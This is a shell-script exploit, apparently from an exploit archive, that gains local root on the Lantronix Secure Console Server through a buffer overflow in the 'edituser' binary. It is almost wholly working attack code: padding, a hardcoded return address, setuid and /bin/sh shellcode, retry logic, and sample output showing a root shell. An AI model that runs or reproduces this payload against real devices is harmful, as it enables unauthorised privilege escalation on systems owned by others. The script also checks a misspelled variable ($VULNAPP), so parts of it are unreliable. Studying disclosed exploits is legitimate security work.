Lantronix Secure Console Server (edituser) Local Root Exploit

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Lantronix Secure Console Server (edituser) Local Root Exploit
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 #!/bin/sh
 # Lantronix Secure Console Server edituser root exploit by
 # c0ntex - [email protected] | [email protected]
 # Advisory @ http://www.open-security.org/advisories/11
 #
 # The Linux system supplied by Lantronix does not have gnu
 # C compiler, so the exploit is provided as a shell script
 # as such, you might need to change the address for
 #
 #[[email protected] ~/exploit]$ sh edituserxp.sh
 #
 # **** *** *** *** *** *** *** *** ***
 #[-] Local root exploit for edituser using return-to-libc
 #[-] discovered and written by c0ntex | [email protected]
 #Expect a root shell :-)  ->  escape sequence is too long.
 #bash# id -a
 #uid=0(root) gid=0(root) groups=100(users),0(root),200(admin)
 #bash#
 #
 BUFFPAD="OPEN-SECURITY.ORG**OPEN-SECURITY.ORG**OPEN-SECURITY.ORG!"
 NOPSLED=`perl -e 'print "\x41" x 1000'`
 RETADDR=`printf "\x74\xc2\xfe\xbf"`
 SETUID=`printf "\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80"`
 SHELL=`printf "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"`
 STACKPAD=`perl -e 'print "A" x 65000'`
 VULNAP=/usr/local/bin/edituser
 VULNOP="-e"

 export BUFFPAD NOPSLED RETADDR SETUID SHELL STACKPAD VULNAP VULNOP

 printf "\n **** *** *** *** *** *** *** *** ***\n"
 printf "[-] Local root exploit for edituser\n"
 printf "[-] discovered and written by c0ntex\n"

 if [ -f $VULNAPP ] ; then
       printf "Expect a root shell :-)  ->  "; sleep 1
       $VULNAP $VULNOP $BUFFPAD$RETADDR$NOPSLED$SETUID$SHELL
       success=$?
       if [ $success -gt 0 ] ; then
               printf "\nSeems something messed up, changing NOPBUF to 10000 and trying again!\n"
               sleep 2
               unset NOPSLED
               NOPSLED=`perl -e 'print "\x41" x 10000'`
               printf "Expect a root shell :-)  ->  "
               $VULNAP $VULNOP $BUFFPAD$RETADDR$NOPSLED$SETUID$SHELL
               success=$?
               if [ $success -gt 0 ] ; then
                       printf "\nAgain it failed, sorry you are on your own now :(\n"
               fi
       fi
 fi



#  0day.today [2018-04-09]  #